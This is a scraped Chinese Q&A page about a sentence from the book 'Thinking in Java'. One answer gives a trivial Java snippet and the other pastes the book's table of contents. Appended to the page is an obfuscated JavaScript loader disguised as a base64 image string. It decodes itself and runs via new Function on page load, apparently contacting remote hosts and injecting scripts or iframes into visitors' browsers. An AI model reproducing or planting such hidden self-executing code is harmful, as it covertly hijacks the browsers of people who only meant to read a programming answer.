解释一下java编程思想中的一句话

2025-04-04 01:22:07
推荐回答(2个)
回答1:

比如
int result=0;
public void test(){
//这里写逻辑
result = 1;//这不就实现了让它返回了别的东西了吗
}

回答2:

一共17章强烈建议你去买这本书!虽然电子文档很多,百度一下到处都是,但是不很方便!这本书看了真的思想都变了!!第1章对象入门1.1抽象的进步1.2对象的接口1.3实现方案的隐藏1.4方案的重复使用1.5继承:重新使用接口1.5.1改善基础类1.5.2等价和类似关系1.6多形对象的互换使用1.6.1动态绑定1.6.2抽象的基础类和接口1.7对象的创建和存在时间1.7.1集合与继承器1.7.2单根结构1.7.3集合库与方便使用集合1.7.4清除时的困境:由谁负责清除?1.8违例控制:解决错误1.9多线程1.10永久性1.11Java和因特网1.11.1什么是Web?1.11.2客户端编程1.11.3服务器端编程1.11.4一个独立的领域:应用程序1.12分析和设计1.12.1不要迷失1.12.2阶段0:拟出一个计划1.12.3阶段1:要制作什么?1.12.4阶段2:开始构建?1.12.5阶段3:正式创建1.12.6阶段4:校订1.12.7计划的回报1.13Java还是C++?第2章一切都是对象2.1用句柄操纵对象2.2必须创建所有对象2.2.1保存在什么地方2.2.2特殊情况:主类型2.2.3Java中的数组2.3绝对不要清除对象2.3.1作用域2.3.2对象的作用域2.4新建数据类型:类2.4.1字段和方法2.5方法、自变量和返回值2.5.1自变量列表2.6构建Java程序2.6.1名字的可见性2.6.2使用其他组件2.6.3static关键字2.7我们的第一个Java程序2.8注释和嵌入文档2.8.1注释文档2.8.2具体语法2.8.3嵌入HTML2.8.4@see:引用其他类2.8.5类文档标记2.8.6变量文档标记2.8.7方法文档标记2.8.8文档示例2.9编码样式2.10总结2.11练习第3章控制程序流程3.1使用Java运算符3.1.1优先级3.1.2赋值3.1.3算术运算符3.1.4自动递增和递减3.1.5关系运算符3.1.6逻辑运算符3.1.7按位运算符3.1.8移位运算符3.1.9三元if-else运算符3.1.10逗号运算符3.1.11字串运算符+3.1.12运算符常规操作规则3.1.13造型运算符3.1.14Java没有“sizeof”3.1.15复习计算顺序3.1.16运算符总结3.2执行控制3.2.1真和假3.2.2if-else3.2.3反复3.2.4do-while3.2.5for3.2.6中断和继续3.2.7切换3.3总结3.4练习第4章初始化和清除4.1由构建器保证初始化4.2方法过载4.2.1区分过载方法4.2.2主类型的过载4.2.3返回值过载4.2.4默认构建器4.2.5this关键字4.3清除:收尾和垃圾收集4.3.1finalize()用途何在4.3.2必须执行清除4.4成员初始化4.4.1规定初始化4.4.2构建器初始化4.5数组初始化4.5.1多维数组4.6总结4.7练习第5章隐藏实施过程5.1包:库单元5.1.1创建独一无二的包名5.1.2自定义工具库5.1.3利用导入改变行为5.1.4包的停用5.2Java访问指示符5.2.1“友好的”5.2.2public:接口访问5.2.3private:不能接触5.2.4protected:“友好的一种”5.3接口与实现5.4类访问5.5总结5.6练习第6章类再生6.1合成的语法6.2继承的语法6.2.1初始化基础类6.3合成与继承的结合6.3.1确保正确的清除6.3.2名字的隐藏6.4到底选择合成还是继承6.5protected6.6递增开发6.7上溯造型6.7.1何谓“上溯造型”?6.8final关键字6.8.1final数据6.8.2final方法6.8.3final类6.8.4final的注意事项6.9初始化和类装载6.9.1继承初始化6.10总结6.11练习第7章多形性7.1上溯造型7.1.1为什么要上溯造型7.2深入理解7.2.1方法调用的绑定7.2.2产生正确的行为7.2.3扩展性7.3覆盖与过载7.4抽象类和方法7.5接口7.5.1Java的“多重继承”7.5.2通过继承扩展接口7.5.3常数分组7.5.4初始化接口中的字段7.6内部类7.6.1内部类和上溯造型7.6.2方法和作用域中的内部类7.6.3链接到外部类7.6.4static内部类7.6.5引用外部类对象7.6.6从内部类继承7.6.7内部类可以覆盖吗?7.6.8内部类标识符7.6.9为什么要用内部类:控制框架7.7构建器和多形性7.7.1构建器的调用顺序7.7.2继承和finalize()7.7.3构建器内部的多形性方法的行为7.8通过继承进行设计7.8.1纯继承与扩展7.8.2下溯造型与运行期类型标识7.9总结7.10练习第8章对象的容纳8.1数组8.1.1数组和第一类对象8.1.2数组的返回8.2集合8.2.1缺点:类型未知8.3枚举器(反复器)8.4集合的类型8.4.1Vector8.4.2BitSet8.4.3Stack8.4.4Hashtable8.4.5再论枚举器8.5排序8.6通用集合库8.7新集合8.7.1使用Collections8.7.2使用Lists8.7.3使用Sets8.7.4使用Maps8.7.5决定实施方案8.7.6未支持的操作8.7.7排序和搜索8.7.8实用工具8.8总结8.9练习第9章违例差错控制9.1基本违例9.1.1违例自变量9.2违例的捕获9.2.1try块9.2.2违例控制器9.2.3违例规范9.2.4捕获所有违例9.2.5重新“掷”出违例9.3标准Java违例9.3.1RuntimeException的特殊情况9.4创建自己的违例9.5违例的限制9.6用finally清除9.6.1用finally做什么9.6.2缺点:丢失的违例9.7构建器9.8违例匹配9.8.1违例准则9.9总结9.10练习第10章JavaIO系统10.1输入和输出10.1.1InputStream的类型10.1.2OutputStream的类型10.2增添属性和有用的接口10.2.1通过FilterInputStream从InputStream里读入数据10.2.2通过FilterOutputStream向OutputStream里写入数据10.3本身的缺陷:RandomAccessFile10.4File类10.4.1目录列表器10.4.2检查与创建目录10.5IO流的典型应用10.5.1输入流10.5.2输出流10.5.3快捷文件处理10.5.4从标准输入中读取数据10.5.5管道数据流10.6StreamTokenizer10.6.1StringTokenizer10.7Java1.1的IO流10.7.1数据的发起与接收10.7.2修改数据流的行为10.7.3未改变的类10.7.4一个例子10.7.5重定向标准IO10.8压缩10.8.1用GZIP进行简单压缩10.8.2用Zip进行多文件保存10.8.3Java归档(jar)实用程序10.9对象串联10.9.1寻找类10.9.2序列化的控制10.9.3利用“持久性”10.10总结10.11练习第11章运行期类型鉴定11.1对RTTI的需要11.1.1Class对象11.1.2造型前的检查11.2RTTI语法11.3反射:运行期类信息11.3.1一个类方法提取器11.4总结11.5练习第12章传递和返回对象12.1传递句柄12.1.1别名问题12.2制作本地副本12.2.1按值传递12.2.2克隆对象12.2.3使类具有克隆能力12.2.4成功的克隆12.2.5Object.clone()的效果12.2.6克隆合成对象12.2.7用Vector进行深层复制12.2.8通过序列化进行深层复制12.2.9使克隆具有更大的深度12.2.10为什么有这个奇怪的设计12.3克隆的控制12.3.1副本构建器12.4只读类12.4.1创建只读类12.4.2“一成不变”的弊端12.4.3不变字串12.4.4String和StringBuffer类12.4.5字串的特殊性12.5总结12.6练习第13章创建窗口和程序片13.1为何要用AWT?13.2基本程序片13.2.1程序片的测试13.2.2一个更图形化的例子13.2.3框架方法的演示13.3制作按钮13.4捕获事件13.5文本字段13.6文本区域13.7标签13.8复选框13.9单选钮13.10下拉列表13.11列表框13.11.1handleEvent()13.12布局的控制13.12.1FlowLayout13.12.2BorderLayout13.12.3GridLayout13.12.4CardLayout13.12.5GridBagLayout13.13action的替用品13.14程序片的局限13.14.1程序片的优点13.15视窗化应用13.15.1菜单13.15.2对话框13.16新型AWT13.16.1新的事件模型13.16.2事件和接收者类型13.16.3用Java1.1AWT制作窗口和程序片13.16.4再探早期示例13.16.5动态绑定事件13.16.6将商业逻辑与UI逻辑区分开13.16.7推荐编码方法13.17Java1.1UIAPI13.17.1桌面颜色13.17.2打印13.17.3剪贴板13.18可视编程和Beans13.18.1什么是Bean13.18.2用Introspector提取BeanInfo13.18.3一个更复杂的Bean13.18.4Bean的封装13.18.5更复杂的Bean支持13.18.6Bean的知识13.19Swing入门13.19.1Swing有哪些优点13.19.2方便的转换13.19.3显示框架13.19.4工具提示13.19.5边框13.19.6按钮13.19.7按钮组13.19.8图标13.19.9菜单13.19.10弹出式菜单13.19.11列表框和组合框13.19.12滑杆和进度指示条13.19.13树13.19.14表格13.19.15卡片式对话框13.19.16Swing消息框13.19.17Swing的知识13.20总结13.21练习第14章多线程14.1反应灵敏的用户界面14.1.1从线程继承14.1.2针对用户界面的多线程14.1.3用主类合并线程14.1.4制作多个线程14.1.5Daemon线程14.2共享有限的资源14.2.1资源访问的错误方法14.2.2Java如何共享资源14.2.3回顾JavaBeans14.3堵塞14.3.1为何会堵塞14.3.2死锁14.4优先级14.4.1线程组14.5回顾runnable14.5.1过多的线程14.6总结14.7练习第15章网络编程15.1机器的标识15.1.1服务器和客户机15.1.2端口:机器内独一无二的场所15.2套接字15.2.1一个简单的服务器和客户机程序15.3服务多个客户15.4数据报15.5一个Web应用15.5.1服务器应用15.5.2NameSender程序片15.5.315.5.3要注意的问题15.6Java与CGI的沟通15.6.1CGI数据的编码15.6.2程序片15.6.3用C++写的CGI程序15.6.4POST的概念15.7用JDBC连接数据库15.7.1获得学习示例15.7.2查找程序的GUI版本15.7.3JDBCAPI为何如何复杂15.8远程方法15.8.1远程接口概念15.8.2远程接口的实施15.8.3创建根与干15.8.4使用远程对象15.8.5RMI的替选方案15.9总结15.10练习第16章设计范式16.1范式的概念16.1.1单子16.1.2范式分类16.2观察器范式16.3模拟垃圾回收站16.4改进设计16.4.1“制作的对象”16.4.2用于原型创建的一个范式16.5抽象的应用16.6多重派遣16.6.1实现双重派遣16.7访问器范式16.8RTTI有害吗16.9总结16.10练习第17章项目17.1文字处理17.1.1提取代码列表17.1.2检查大小写样式17.2方法查找工具17.3复杂性理论17.4总结17.5练习

!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();